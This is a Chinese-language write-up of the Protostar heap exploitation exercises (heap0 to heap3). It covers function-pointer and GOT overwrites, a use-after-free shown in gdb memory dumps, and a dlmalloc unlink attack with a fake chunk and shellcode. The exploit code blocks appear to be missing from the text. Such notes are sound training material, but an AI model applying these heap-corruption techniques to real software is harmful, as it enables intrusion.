Heap
The levels to be exploited can be found in the /opt/protostar/bin directory.
Heap 0¶
- 需要修改
f->fp
的值,使其指向winner
函数 -
查看
d->name
溢出后对f->fp
的影响 -
winner
函数的地址
Exploit¶
Heap 1¶
-
查看
i1->name
溢出对i2->name
的影响- 可以改变
i2->name
的值,从而能通过strcpy
写入任意地址
- 可以改变
-
注意到最后调用了
printf
函数,可以覆盖其 GOT 表条目 -
winner
函数的地址
Exploit¶
Additional¶
关于在 gdb
中使用 echo
不能成功的问题
Heap 2¶
-
使用测试
-
使用
gdb
查看堆的使用情况Dump of assembler code for function main
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104
(gdb) r Starting program: /opt/protostar/bin/heap2 Breakpoint 1, 0x0804895f in main (argc=1, argv=0xbffff754) at heap2/heap2.c:20 20 in heap2/heap2.c Current language: auto The current source language is "auto; currently c". ------------------------------------------------- 0x804c000: Cannot access memory at address 0x804c000 (gdb) c Continuing. [ auth = (nil), service = (nil) ] auth admin Breakpoint 1, 0x0804895f in main (argc=1, argv=0xbffff754) at heap2/heap2.c:20 20 in heap2/heap2.c ------------------------------------------------- 0x804c000: 0x00000000 0x00000011 0x696d6461 0x00000a6e # 实际上 sizeof(auth) 返回的是指针 auth 的大小(4 bytes)而不是结构体 auth # 考虑到对齐,所以这里只分配了 8 字节(8 bytes header + 8 bytes data) 0x804c010: 0x00000000 0x00000ff1 0x00000000 0x00000000 0x804c020: 0x00000000 0x00000000 0x00000000 0x00000000 0x804c030: 0x00000000 0x00000000 0x00000000 0x00000000 0x804c040: 0x00000000 0x00000000 0x00000000 0x00000000 --------auth------------------------------------- $5 = {name = "admin\n\000\000\000\000\000\000\361\017", '\000' <repeats 17 times>, auth = 0} --------service---------------------------------- $6 = 0x0 ------------------------------------------------- [ auth = 0x804c008, service = (nil) ] reset Breakpoint 1, 0x0804895f in main (argc=1, argv=0xbffff754) at heap2/heap2.c:20 20 in heap2/heap2.c ------------------------------------------------- # the first word of the chunk data got replaced with 0 # because the first word in a free chunk is defined as the previous free chunk address # free chunks 是链表,因为没有其它 free chunk,所以为空 0x804c000: 0x00000000 0x00000011 0x00000000 0x00000a6e 0x804c010: 0x00000000 0x00000ff1 0x00000000 0x00000000 0x804c020: 0x00000000 0x00000000 0x00000000 0x00000000 0x804c030: 0x00000000 0x00000000 0x00000000 0x00000000 0x804c040: 0x00000000 0x00000000 0x00000000 0x00000000 --------auth------------------------------------- $7 = {name = "\000\000\000\000n\n\000\000\000\000\000\000\361\017", '\000' <repeats 17 times>, auth = 0} --------service---------------------------------- $8 = 0x0 ------------------------------------------------- [ auth = 0x804c008, service = (nil) ] service AAA Breakpoint 1, 0x0804895f in main (argc=1, argv=0xbffff754) at heap2/heap2.c:20 20 in heap2/heap2.c ------------------------------------------------- 0x804c000: 0x00000000 0x00000011 0x41414120 0x0000000a 0x804c010: 0x00000000 0x00000ff1 0x00000000 0x00000000 0x804c020: 0x00000000 0x00000000 0x00000000 0x00000000 0x804c030: 0x00000000 0x00000000 0x00000000 0x00000000 0x804c040: 0x00000000 0x00000000 0x00000000 0x00000000 --------auth------------------------------------- $9 = {name = " AAA\n\000\000\000\000\000\000\000\361\017", '\000' <repeats 17 times>, auth = 0} --------service---------------------------------- $10 = 0x804c008 " AAA\n" ------------------------------------------------- [ auth = 0x804c008, service = 0x804c008 ] service BBB Breakpoint 1, 0x0804895f in main (argc=1, argv=0xbffff754) at heap2/heap2.c:20 20 in heap2/heap2.c ------------------------------------------------- 0x804c000: 0x00000000 0x00000011 0x41414120 0x0000000a 0x804c010: 0x00000000 0x00000011 0x42424220 0x0000000a 0x804c020: 0x00000000 0x00000fe1 0x00000000 0x00000000 0x804c030: 0x00000000 0x00000000 0x00000000 0x00000000 0x804c040: 0x00000000 0x00000000 0x00000000 0x00000000 --------auth------------------------------------- $11 = {name = " AAA\n\000\000\000\000\000\000\000\021\000\000\000 BBB\n\000\000\000\000\000\000\000\341\017\000", auth = 0} --------service---------------------------------- $12 = 0x804c018 " BBB\n" ------------------------------------------------- [ auth = 0x804c008, service = 0x804c018 ] service CCC Breakpoint 1, 0x0804895f in main (argc=1, argv=0xbffff754) at heap2/heap2.c:20 20 in heap2/heap2.c ------------------------------------------------- 0x804c000: 0x00000000 0x00000011 0x41414120 0x0000000a 0x804c010: 0x00000000 0x00000011 0x42424220 0x0000000a 0x804c020: 0x00000000 0x00000011 0x43434320 0x0000000a 0x804c030: 0x00000000 0x00000fd1 0x00000000 0x00000000 0x804c040: 0x00000000 0x00000000 0x00000000 0x00000000 --------auth------------------------------------- # struct auth { # char name[32]; # int auth; # }; # 0x804c008 + 0x20 = 0x804c028 $13 = {name = " AAA\n\000\000\000\000\000\000\000\021\000\000\000 BBB\n\000\000\000\000\000\000\000\021\000\000", auth = 1128481568} # 0x43434320 --------service---------------------------------- $14 = 0x804c028 " CCC\n" ------------------------------------------------- [ auth = 0x804c008, service = 0x804c028 ] login you have logged in already!
-
由于动态分配大小错误,也可以直接覆盖
Exploit¶
Heap 3¶
the Doug Lea Malloc (dlmalloc)
-
通过
malloc
的unlink
修改GOT
表条目,FD->bk
对应目标GOT
表条目地址,BK
指向 shellcode 的起始地址- 注意有
BK->fd
写回
- 注意有
-
Overflow
b
修改c
对应 chunk 的大小使其大于MAX_FAST_SIZE 80
,Overflowc
来构造 fake chunk 控制unlink
,用于调用函数winner
的 shellcode 可放于a
中- fake chunk 的
prev_inuse
位需设置为 0 -
注意
free
会修改 chunk 的 forward pointer,即 data 域的首 \(4\) 字节prev_size size fd bk
- fake chunk 的
-
fake chunk 的 next chunk 的
prev_inuse
位同样应为 0,从而能调用unlink
-
next chunk 的起始地址根据当前 chunk 的起始地址和 size 进行计算,可以设置 size 为
0xfffffffc
,实际计算等同于 -4,避免了 null 字节也无需再构造一个 chunk -
查看相关地址信息
Dump of assembler code for function main
-
通过 Online x86 / x64 Assembler and Disassembler 将调用函数
winner
的汇编转换为 shellcode